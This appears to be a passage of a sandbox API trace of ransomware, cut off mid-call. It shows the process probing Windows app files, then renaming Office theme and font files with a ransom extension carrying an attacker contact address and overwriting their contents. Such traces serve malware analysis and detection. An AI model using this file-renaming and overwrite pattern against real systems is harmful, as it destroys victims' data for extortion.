[0261.303] Sleep (dwMilliseconds=0x1) [0261.310] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd", len=0x63 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned 1 [0261.310] GetProcessHeap () returned 0x630000 [0261.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e88) returned 0x6fe3bb0 [0261.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.311] Sleep (dwMilliseconds=0x1) [0261.330] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri", len=0x5d | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri") returned 1 [0261.330] GetProcessHeap () returned 0x630000 [0261.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e84) returned 0x6fe3bb0 [0261.331] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.371] Sleep (dwMilliseconds=0x1) [0261.402] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg", len=0x84 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg") returned 1 [0261.402] GetProcessHeap () returned 0x630000 [0261.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0261.402] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.controls\\endoflife\\assets\\farewell.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.418] Sleep (dwMilliseconds=0x1) [0261.446] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_2_travel.png", len=0x77 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_2_travel.png") returned 1 [0261.446] GetProcessHeap () returned 0x630000 [0261.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e64) returned 0x6fe3bb0 [0261.446] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\weather_2_travel.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\weather_2_travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.448] Sleep (dwMilliseconds=0x1) [0261.450] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\wdt.png", len=0x6a | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\wdt.png") returned 1 [0261.450] GetProcessHeap () returned 0x630000 [0261.450] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0261.450] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\wdt.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\wdt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.451] Sleep (dwMilliseconds=0x1) [0261.501] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-24_altform-unplated.png", len=0x94 | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-24_altform-unplated.png") returned 1 [0261.501] GetProcessHeap () returned 0x630000 [0261.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0261.501] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.502] Sleep (dwMilliseconds=0x1) [0261.607] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\91.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\91.jpg") returned 1 [0261.607] GetProcessHeap () returned 0x630000 [0261.607] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0261.607] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\91.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\91.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.612] Sleep (dwMilliseconds=0x1) [0261.653] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\8.jpg", len=0x7b | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\8.jpg") returned 1 [0261.653] GetProcessHeap () returned 0x630000 [0261.653] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e24) returned 0x6fe3bb0 [0261.653] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\8.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.655] Sleep (dwMilliseconds=0x1) [0261.674] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\34.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\34.jpg") returned 1 [0261.674] GetProcessHeap () returned 0x630000 [0261.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e00) returned 0x6fe3bb0 [0261.674] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\34.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\34.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.676] Sleep (dwMilliseconds=0x1) [0261.720] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\29.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\29.jpg") returned 1 [0261.720] GetProcessHeap () returned 0x630000 [0261.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dec) returned 0x6fe3bb0 [0261.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\29.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\29.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.722] Sleep (dwMilliseconds=0x1) [0261.731] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\28.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\28.jpg") returned 1 [0261.732] GetProcessHeap () returned 0x630000 [0261.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4de8) returned 0x6fe3bb0 [0261.732] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\28.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\28.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.734] Sleep (dwMilliseconds=0x1) [0261.752] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\13.jpg", len=0x7c | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\13.jpg") returned 1 [0261.752] GetProcessHeap () returned 0x630000 [0261.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd4) returned 0x6fe3bb0 [0261.752] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\13.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\13.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.754] Sleep (dwMilliseconds=0x1) [0261.797] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\1.jpg", len=0x7b | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\1.jpg") returned 1 [0261.797] GetProcessHeap () returned 0x630000 [0261.797] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc8) returned 0x6fe3bb0 [0261.797] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\1.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.804] Sleep (dwMilliseconds=0x1) [0263.211] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\200.png", len=0x7a | out: pbstr=0x59bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\200.png") returned 1 [0263.211] GetProcessHeap () returned 0x630000 [0263.211] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d20) returned 0x6fe3bb0 [0263.211] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.214] Sleep (dwMilliseconds=0x1) [0264.586] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM", len=0x6c | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM") returned 1 [0264.586] GetProcessHeap () returned 0x630000 [0264.586] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0264.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0265.395] CloseHandle (hObject=0x674) returned 1 [0265.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLENDS~2.FIR")) returned 0x6d4e00 [0265.396] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0265.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0265.397] GetProcessHeap () returned 0x630000 [0265.397] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75591e0 [0265.397] GetProcessHeap () returned 0x630000 [0265.397] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0265.398] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.398] ReadFile (in: hFile=0x674, lpBuffer=0x75591e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x75591e0*, lpNumberOfBytesRead=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.459] GetProcessHeap () returned 0x630000 [0273.459] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0273.459] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.460] WriteFile (in: hFile=0x674, lpBuffer=0x7001850*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesWritten=0x59bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.460] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.460] WriteFile (in: hFile=0x674, lpBuffer=0x700cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc4f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.460] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.460] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.461] CloseHandle (hObject=0x674) returned 1 [0273.461] GetProcessHeap () returned 0x630000 [0273.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0273.461] GetProcessHeap () returned 0x630000 [0273.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75591e0 | out: hHeap=0x630000) returned 1 [0273.462] GetProcessHeap () returned 0x630000 [0273.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0273.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68f2566f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10ddb, dwReserved0=0xab47496, dwReserved1=0x75591d8, cFileName="BLENDS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLENDS~2.FIR")) returned 0x6d5500 [0273.462] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0273.462] Sleep (dwMilliseconds=0x1) [0275.609] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF", len=0x44 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF") returned 1 [0275.609] GetProcessHeap () returned 0x630000 [0275.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4af4) returned 0x6fe3bb0 [0275.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\poorich.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0275.611] CloseHandle (hObject=0x3f8) returned 1 [0275.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\poorich.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\poorich.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87a1bac5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87a1bac5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8829a0da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POORICH.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POORIC~1.FIR")) returned 0x6d5500 [0275.613] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0275.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\POORICH.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\poorich.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0275.613] GetProcessHeap () returned 0x630000 [0275.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7598e88 [0275.613] GetProcessHeap () returned 0x630000 [0275.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75a42b8 [0275.613] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.613] ReadFile (in: hFile=0x3f8, 